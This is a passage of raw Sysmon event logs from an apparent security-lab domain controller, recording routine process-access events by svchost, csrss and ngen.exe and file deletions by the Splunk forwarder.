NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.133{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D50A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.117{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D50A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.117{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D50A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.055{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-D40A-00000000F001}6776C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.055{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-D40A-00000000F001}6776C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.055{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-D40A-00000000F001}6776C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.992{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=665653F13988BA95640A3636EACB5464,SHA256=C01B3FE064D812E0CFAADE30118B9B22848CED53A7C45AFF0DA756A0720AD975,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.758{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E80A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.758{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E80A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+315bb|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+31318|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+31229|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+1215e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+f549|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74dc|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.680{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E70A-00000000F001}1020C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.664{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E70A-00000000F001}1020C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.664{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E70A-00000000F001}1020C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.648{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=369876997B3F708E782C8981859AA607,SHA256=739AB01030FFA5044C558DA49881CA8825BD7227ED7204EC618204496AA988B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.648{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1AD58724A1E904280406F459C574C421,SHA256=8A27B7EC7888563F4B84E02AA3DCB70778DD8BAECFA914954BDAFF7517A4E7F0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.601{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E60A-00000000F001}5504C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.586{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E60A-00000000F001}5504C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E60A-00000000F001}5504C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.539{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.539{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.539{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.539{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.539{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 